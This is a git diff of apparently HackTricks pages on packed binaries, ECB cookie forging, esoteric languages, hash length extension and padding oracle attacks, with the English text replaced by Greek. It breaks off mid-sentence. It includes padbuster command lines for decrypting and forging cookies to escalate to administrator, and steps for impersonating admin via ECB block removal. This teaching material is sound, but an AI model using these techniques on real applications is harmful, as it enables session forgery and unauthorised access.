6699ec26f..adc568203 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -1,24 +1,24 @@ {{#include ../../banners/hacktricks-training.md}} -# Identifying packed binaries +# Αναγνώριση πακεταρισμένων δυαδικών αρχείων -- **lack of strings**: It's common to find that packed binaries doesn't have almost any string -- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. -- You can also use some tools to try to find which packer was used to pack a binary: - - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - - [Language 2000](http://farrokhi.net/language/) +- **έλλειψη συμβολοσειρών**: Είναι κοινό να διαπιστώνει κανείς ότι τα πακεταρισμένα δυαδικά αρχεία δεν έχουν σχεδόν καμία συμβολοσειρά. +- Πολλές **μη χρησιμοποιούμενες συμβολοσειρές**: Επίσης, όταν ένα κακόβουλο λογισμικό χρησιμοποιεί κάποιο είδος εμπορικού πακετάρη, είναι κοινό να βρίσκουμε πολλές συμβολοσειρές χωρίς διασταυρώσεις. Ακόμα και αν αυτές οι συμβολοσειρές υπάρχουν, αυτό δεν σημαίνει ότι το δυαδικό αρχείο δεν είναι πακεταρισμένο. +- Μπορείτε επίσης να χρησιμοποιήσετε κάποια εργαλεία για να προσπαθήσετε να βρείτε ποιος πακετάρης χρησιμοποιήθηκε για να πακετάρει ένα δυαδικό αρχείο: +- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +- [Language 2000](http://farrokhi.net/language/) -# Basic Recommendations +# Βασικές Συστάσεις -- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). +- **Ξεκινήστε** την ανάλυση του πακεταρισμένου δυαδικού αρχείου **από το κάτω μέρος στο IDA και προχωρήστε προς τα πάνω**. Οι αποπακετάρηδες τερματίζουν μόλις ο αποπακεταρισμένος κώδικας τερματίσει, οπότε είναι απίθανο ο αποπακετάρης να περάσει την εκτέλεση στον αποπακεταρισμένο κώδικα στην αρχή. +- Αναζητήστε **JMP's** ή **CALLs** σε **καταχωρητές** ή **περιοχές** της **μνήμης**. Επίσης, αναζητήστε **συναρτήσεις που σπρώχνουν παραμέτρους και μια διεύθυνση και στη συνέχεια καλούν `retn`**, διότι η επιστροφή της συνάρτησης σε αυτή την περίπτωση μπορεί να καλέσει τη διεύθυνση που μόλις σπρώχτηκε στο στοίβα πριν την καλέσει. +- Τοποθετήστε ένα **breakpoint** στο `VirtualAlloc`, καθώς αυτό δεσμεύει χώρο στη μνήμη όπου το πρόγραμμα μπορεί να γράψει αποπακεταρισμένο κώδικα. "τρέξτε μέχρι τον κώδικα χρήστη" ή χρησιμοποιήστε το F8 για να **φτάσετε στην τιμή μέσα στο EAX** μετά την εκτέλεση της συνάρτησης και "**ακολουθήστε αυτή τη διεύθυνση στο dump**". Ποτέ δεν ξέρετε αν αυτή είναι η περιοχή όπου θα αποθηκευτεί ο αποπακεταρισμένος κώδικας. +- **`VirtualAlloc`** με την τιμή "**40**" ως επιχείρημα σημαίνει Ανάγνωση+Γράψιμο+Εκτέλεση (κάποιος κώδικας που χρειάζεται εκτέλεση θα αντιγραφεί εδώ). +- **Κατά την αποπακετοποίηση** του κώδικα είναι φυσιολογικό να βρείτε **πολλές κλήσεις** σε **αριθμητικές λειτουργίες** και συναρτήσεις όπως **`memcopy`** ή **`Virtual`**`Alloc`. Αν βρεθείτε σε μια συνάρτηση που προφανώς εκτελεί μόνο αριθμητικές λειτουργίες και ίσως κάποια `memcopy`, η σύσταση είναι να προσπαθήσετε να **βρείτε το τέλος της συνάρτησης** (ίσως ένα JMP ή κλήση σε κάποιον καταχωρητή) **ή** τουλάχιστον την **κλήση στην τελευταία συνάρτηση** και να τρέξετε μέχρι εκεί καθώς ο κώδικας δεν είναι ενδιαφέρον. +- Κατά την αποπακετοποίηση του κώδικα **σημειώστε** όποτε **αλλάζετε περιοχή μνήμης**, καθώς μια αλλαγή περιοχής μνήμης μπορεί να υποδηλώνει την **έναρξη του αποπακεταρισμένου κώδικα**. Μπορείτε εύκολα να κάνετε dump μια περιοχή μνήμης χρησιμοποιώντας το Process Hacker (process --> properties --> memory). +- Κατά την προσπάθεια αποπακετοποίησης του κώδικα, ένας καλός τρόπος για να **γνωρίζετε αν ήδη εργάζεστε με τον αποπακεταρισμένο κώδικα** (έτσι ώστε να μπορείτε απλά να το κάνετε dump) είναι να **ελέγξετε τις συμβολοσειρές του δυαδικού αρχείου**. Αν σε κάποιο σημείο κάνετε ένα άλμα (ίσως αλλάζοντας την περιοχή μνήμης) και παρατηρήσετε ότι **προστέθηκαν πολλές περισσότερες συμβολοσειρές**, τότε μπορείτε να γνωρίζετε **ότι εργάζεστε με τον αποπακεταρισμένο κώδικα**.\ +Ωστόσο, αν ο πακετάρης περιέχει ήδη πολλές συμβολοσειρές, μπορείτε να δείτε πόσες συμβολοσειρές περιέχουν τη λέξη "http" και να δείτε αν αυτός ο αριθμός αυξάνεται. +- Όταν κάνετε dump ένα εκτελέσιμο από μια περιοχή μνήμης, μπορείτε να διορθώσετε κάποιες κεφαλίδες χρησιμοποιώντας [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md index a09798b1e..22da4f00e 100644 --- a/src/crypto-and-stego/electronic-code-book-ecb.md +++ b/src/crypto-and-stego/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Ηλεκτρονικό Βιβλίο Κωδικών - συμμετρικό σχήμα κρυπτογράφησης που **αντικαθιστά κάθε μπλοκ του καθαρού κειμένου** με το **μπλοκ του κρυπτογραφημένου κειμένου**. Είναι το **απλούστερο** σχήμα κρυπτογράφησης. Η κύρια ιδέα είναι να **χωρίσετε** το καθαρό κείμενο σε **μπλοκ N bit** (εξαρτάται από το μέγεθος του μπλοκ των εισερχόμενων δεδομένων, αλγόριθμο κρυπτογράφησης) και στη συνέχεια να κρυπτογραφήσετε (αποκρυπτογραφήσετε) κάθε μπλοκ του καθαρού κειμένου χρησιμοποιώντας το μόνο κλειδί. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +Η χρήση του ECB έχει πολλές επιπτώσεις στην ασφάλεια: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να αφαιρεθούν** +- **Μπλοκ από το κρυπτογραφημένο μήνυμα μπορούν να μετακινηθούν** -# Detection of the vulnerability +# Ανίχνευση της ευπάθειας -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Φανταστείτε ότι συνδέεστε σε μια εφαρμογή πολλές φορές και **πάντα λαμβάνετε το ίδιο cookie**. Αυτό συμβαίνει επειδή το cookie της εφαρμογής είναι **`|`**.\ +Στη συνέχεια, δημιουργείτε δύο νέους χρήστες, και οι δύο με το **ίδιο μακρύ κωδικό πρόσβασης** και **σχεδόν** το **ίδιο** **όνομα χρήστη**.\ +Ανακαλύπτετε ότι τα **μπλοκ των 8B** όπου οι **πληροφορίες και των δύο χρηστών** είναι οι ίδιες είναι **ίσα**. Στη συνέχεια, φαντάζεστε ότι αυτό μπορεί να συμβαίνει επειδή **χρησιμοποιείται το ECB**. +Όπως στο παρακάτω παράδειγμα. Παρατηρήστε πώς αυτά τα **2 αποκωδικοποιημένα cookies** έχουν πολλές φορές το μπλοκ **`\x23U\xE45K\xCB\x21\xC8`**. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Αυτό συμβαίνει επειδή το **όνομα χρήστη και ο κωδικός πρόσβασης αυτών των cookies περιείχαν πολλές φορές το γράμμα "a"** (για παράδειγμα). Οι **μπλοκ** που είναι **διαφορετικοί** είναι μπλοκ που περιείχαν **τουλάχιστον 1 διαφορετικό χαρακτήρα** (ίσως το διαχωριστικό "|" ή κάποια απαραίτητη διαφορά στο όνομα χρήστη). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Τώρα, ο επιτιθέμενος χρειάζεται απλώς να ανακαλύψει αν η μορφή είναι `` ή ``. Για να το κάνει αυτό, μπορεί απλώς να **δημιουργήσει αρκετά ονόματα χρήστη** με **παρόμοια και μακριά ονόματα χρήστη και κωδικούς πρόσβασης μέχρι να βρει τη μορφή και το μήκος του διαχωριστικού:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Μήκος ονόματος χρήστη: | Μήκος κωδικού πρόσβασης: | Μήκος ονόματος χρήστη+Κωδικού πρόσβασης: | Μήκος cookie (μετά την αποκωδικοποίηση): | +| ----------------------- | ------------------------ | ------------------------------------------ | ---------------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Εκμετάλλευση της ευπάθειας -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Αφαίρεση ολόκληρων μπλοκ +Γνωρίζοντας τη μορφή του cookie (`|`), προκειμένου να προσποιηθεί το όνομα χρήστη `admin`, δημιουργήστε έναν νέο χρήστη με το όνομα `aaaaaaaaadmin` και αποκτήστε το cookie και αποκωδικοποιήστε το: ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Μπορούμε να δούμε το μοτίβο `\x23U\xE45K\xCB\x21\xC8` που δημιουργήθηκε προηγουμένως με το όνομα χρήστη που περιείχε μόνο `a`.\ +Στη συνέχεια, μπορείτε να αφαιρέσετε το πρώτο μπλοκ των 8B και θα αποκτήσετε ένα έγκυρο cookie για το όνομα χρήστη `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Μετακίνηση μπλοκ -## Moving blocks +Σε πολλές βάσεις δεδομένων είναι το ίδιο να αναζητάς `WHERE username='admin';` ή `WHERE username='admin ';` _(Σημειώστε τα επιπλέον κενά)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Έτσι, ένας άλλος τρόπος για να προσποιηθείς τον χρήστη `admin` θα ήταν να: -So, another way to impersonate the user `admin` would be to: +- Δημιουργήσεις ένα όνομα χρήστη που: `len() + len(` θα δημιουργήσει 2 μπλοκ των 8Bs. +- Στη συνέχεια, να δημιουργήσεις έναν κωδικό πρόσβασης που θα γεμίσει έναν ακριβή αριθμό μπλοκ που περιέχουν το όνομα χρήστη που θέλουμε να προσποιηθούμε και κενά, όπως: `admin ` -- Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Το cookie αυτού του χρήστη θα αποτελείται από 3 μπλοκ: τα πρώτα 2 είναι τα μπλοκ του ονόματος χρήστη + διαχωριστής και το τρίτο από τον κωδικό πρόσβασης (ο οποίος προσποιείται το όνομα χρήστη): `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +**Στη συνέχεια, απλώς αντικατέστησε το πρώτο μπλοκ με το τελευταίο και θα προσποιείσαι τον χρήστη `admin`: `admin |username`** -**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -## References +## Αναφορές - [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)]() diff --git a/src/crypto-and-stego/esoteric-languages.md b/src/crypto-and-stego/esoteric-languages.md index 2faf6564f..9a00808bd 100644 --- a/src/crypto-and-stego/esoteric-languages.md +++ b/src/crypto-and-stego/esoteric-languages.md @@ -1,18 +1,16 @@ -# Esoteric languages +# Εσωτερικές γλώσσες {{#include ../banners/hacktricks-training.md}} ## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page) -Check that wiki to search more esotreic languages +Ελέγξτε αυτή τη wiki για να αναζητήσετε περισσότερες εσωτερικές γλώσσες ## Malbolge - ``` ('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}= ``` - [http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl) ## npiet @@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages [https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php) ## Rockstar - ``` Midnight takes your heart and your soul While your heart is as high as your soul @@ -51,11 +48,9 @@ Take it to the top Whisper my world ``` - {% embed url="https://codewithrockstar.com/" %} ## PETOOH - ``` KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah @@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO Kukarek ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/hash-length-extension-attack.md b/src/crypto-and-stego/hash-length-extension-attack.md index 51a38df3f..25685f3f1 100644 --- a/src/crypto-and-stego/hash-length-extension-attack.md +++ b/src/crypto-and-stego/hash-length-extension-attack.md @@ -2,37 +2,37 @@ {{#include ../banners/hacktricks-training.md}} -## Summary of the attack +## Περίληψη της επίθεσης -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: +Φανταστείτε έναν διακομιστή που **υπογράφει** κάποια **δεδομένα** προσθέτοντας ένα **μυστικό** σε κάποια γνωστά καθαρά δεδομένα και στη συνέχεια κατακερματίζοντας αυτά τα δεδομένα. Αν γνωρίζετε: -- **The length of the secret** (this can be also bruteforced from a given length range) -- **The clear text data** -- **The algorithm (and it's vulnerable to this attack)** -- **The padding is known** - - Usually a default one is used, so if the other 3 requirements are met, this also is - - The padding vary depending on the length of the secret+data, that's why the length of the secret is needed +- **Το μήκος του μυστικού** (αυτό μπορεί επίσης να βρεθεί με brute force από μια δεδομένη περιοχή μήκους) +- **Τα καθαρά δεδομένα** +- **Ο αλγόριθμος (και είναι ευάλωτος σε αυτή την επίθεση)** +- **Η προσθήκη είναι γνωστή** +- Συνήθως χρησιμοποιείται μια προεπιλεγμένη, οπότε αν πληρούνται οι άλλες 3 απαιτήσεις, αυτό ισχύει επίσης +- Η προσθήκη ποικίλλει ανάλογα με το μήκος του μυστικού + δεδομένα, γι' αυτό χρειάζεται το μήκος του μυστικού -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**. +Τότε, είναι δυνατό για έναν **επιτιθέμενο** να **προσθέσει** **δεδομένα** και να **δημιουργήσει** μια έγκυρη **υπογραφή** για τα **προηγούμενα δεδομένα + προστιθέμενα δεδομένα**. -### How? +### Πώς; -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. +Βασικά, οι ευάλωτοι αλγόριθμοι δημιουργούν τους κατακερματισμούς πρώτα **κατακερματίζοντας ένα μπλοκ δεδομένων**, και στη συνέχεια, **από** τον **προηγουμένως** δημιουργημένο **κατακερματισμό** (κατάσταση), **προσθέτουν το επόμενο μπλοκ δεδομένων** και **το κατακερματίζουν**. -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: +Τότε, φανταστείτε ότι το μυστικό είναι "secret" και τα δεδομένα είναι "data", ο MD5 του "secretdata" είναι 6036708eba0d11f6ef52ad44e8b74d5b.\ +Αν ένας επιτιθέμενος θέλει να προσθέσει τη συμβολοσειρά "append" μπορεί να: -- Generate a MD5 of 64 "A"s -- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -- Append the string "append" -- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** +- Δημιουργήσει έναν MD5 από 64 "A"s +- Αλλάξει την κατάσταση του προηγουμένως αρχικοποιημένου κατακερματισμού σε 6036708eba0d11f6ef52ad44e8b74d5b +- Προσθέσει τη συμβολοσειρά "append" +- Ολοκληρώσει τον κατακερματισμό και ο προκύπτων κατακερματισμός θα είναι **έγκυρος για "secret" + "data" + "padding" + "append"** -### **Tool** +### **Εργαλείο** {% embed url="https://github.com/iagox86/hash_extender" %} -### References +### Αναφορές -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) +Μπορείτε να βρείτε αυτή την επίθεση καλά εξηγημένη στο [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) {{#include ../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/padding-oracle-priv.md b/src/crypto-and-stego/padding-oracle-priv.md index 96d3145a3..756f0ba12 100644 --- a/src/crypto-and-stego/padding-oracle-priv.md +++ b/src/crypto-and-stego/padding-oracle-priv.md @@ -2,26 +2,24 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} - ## CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +Στη λειτουργία CBC, το **προηγούμενο κρυπτογραφημένο μπλοκ χρησιμοποιείται ως IV** για XOR με το επόμενο μπλοκ: ![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Για να αποκρυπτογραφήσετε το CBC, γίνονται οι **αντίθετες** **λειτουργίες**: ![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Σημειώστε ότι είναι απαραίτητο να χρησιμοποιήσετε ένα **κλειδί** **κρυπτογράφησης** και ένα **IV**. ## Message Padding -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Καθώς η κρυπτογράφηση εκτελείται σε **σταθερού** **μεγέθους** **μπλοκ**, συνήθως απαιτείται **padding** στο **τελευταίο** **μπλοκ** για να ολοκληρωθεί το μήκος του.\ +Συνήθως χρησιμοποιείται το **PKCS7**, το οποίο δημιουργεί ένα padding **επαναλαμβάνοντας** τον **αριθμό** των **byte** που **χρειάζονται** για να **ολοκληρωθεί** το μπλοκ. Για παράδειγμα, αν το τελευταίο μπλοκ λείπουν 3 byte, το padding θα είναι `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Ας δούμε περισσότερα παραδείγματα με **2 μπλοκ μήκους 8byte**: | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | @@ -30,51 +28,43 @@ Let's look at more examples with a **2 blocks of length 8bytes**: | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Σημειώστε πώς στο τελευταίο παράδειγμα το **τελευταίο μπλοκ ήταν γεμάτο, οπότε δημιουργήθηκε ένα άλλο μόνο με padding**. ## Padding Oracle -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Όταν μια εφαρμογή αποκρυπτογραφεί κρυπτογραφημένα δεδομένα, πρώτα θα αποκρυπτογραφήσει τα δεδομένα και στη συνέχεια θα αφαιρέσει το padding. Κατά την καθαριότητα του padding, αν μια **μη έγκυρη padding προκαλεί μια ανιχνεύσιμη συμπεριφορά**, έχετε μια **ευπάθεια padding oracle**. Η ανιχνεύσιμη συμπεριφορά μπορεί να είναι ένα **σφάλμα**, μια **έλλειψη αποτελεσμάτων** ή μια **αργή απόκριση**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Αν ανιχνεύσετε αυτή τη συμπεριφορά, μπορείτε να **αποκρυπτογραφήσετε τα κρυπτογραφημένα δεδομένα** και ακόμη και να **κρυπτογραφήσετε οποιοδήποτε καθαρό κείμενο**. ### How to exploit -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do - +Μπορείτε να χρησιμοποιήσετε [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) για να εκμεταλλευτείτε αυτό το είδος ευπάθειας ή απλά να κάνετε ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Για να δοκιμάσετε αν το cookie μιας ιστοσελίδας είναι ευάλωτο, θα μπορούσατε να δοκιμάσετε: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**Encoding 0** σημαίνει ότι χρησιμοποιείται **base64** (αλλά υπάρχουν και άλλες διαθέσιμες επιλογές, ελέγξτε το μενού βοήθειας). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Μπορείτε επίσης να **καταχραστείτε αυτήν την ευπάθεια για να κρυπτογραφήσετε νέα δεδομένα. Για παράδειγμα, φανταστείτε ότι το περιεχόμενο του cookie είναι "**_**user=MyUsername**_**", τότε μπορείτε να το αλλάξετε σε "\_user=administrator\_" και να κλιμακώσετε τα δικαιώματα μέσα στην εφαρμογή. Μπορείτε επίσης να το κάνετε χρησιμοποιώντας `paduster` καθορίζοντας την παράμετρο -plaintext**: ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Αν ο ιστότοπος είναι ευάλωτος, το `padbuster` θα προσπαθήσει αυτόματα να βρει πότε συμβαίνει το σφάλμα padding, αλλά μπορείτε επίσης να υποδείξετε το μήνυμα σφάλματος χρησιμοποιώντας την παράμετρο **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +### Η θεωρία -### The theory - -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. +Συνοπτικά, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργήσουν όλα τα διαφορετικά padding. Στη συνέχεια, η επίθεση padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding 1, 2, 3, κ.λπ. ![](<../images/image (561).png>) -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που σχηματίζονται από τα bytes από E0 έως E15.\ +Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνάει από την "αποκρυπτογράφηση block cipher" παράγοντας τα ενδιάμεσα bytes I0 έως I15.\ +Τέλος, κάθε ενδιάμεσο byte XORed με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι: - `C15 = D(E15) ^ E7 = I15 ^ E7` - `C14 = I14 ^ E6` @@ -82,31 +72,30 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( - `C12 = I12 ^ E4` - ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, το οποίο θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτή την περίπτωση: `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Έτσι, βρίσκοντας το E'7, είναι δυνατόν να υπολογίσετε το I15: `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Το οποίο μας επιτρέπει να υπολογίσουμε το C15: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +Γνωρίζοντας το C15, τώρα είναι δυνατόν να υπολογίσουμε το C14, αλλά αυτή τη φορά brute-forcing το padding `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Αυτή η BF είναι εξίσου περίπλοκη με την προηγούμενη 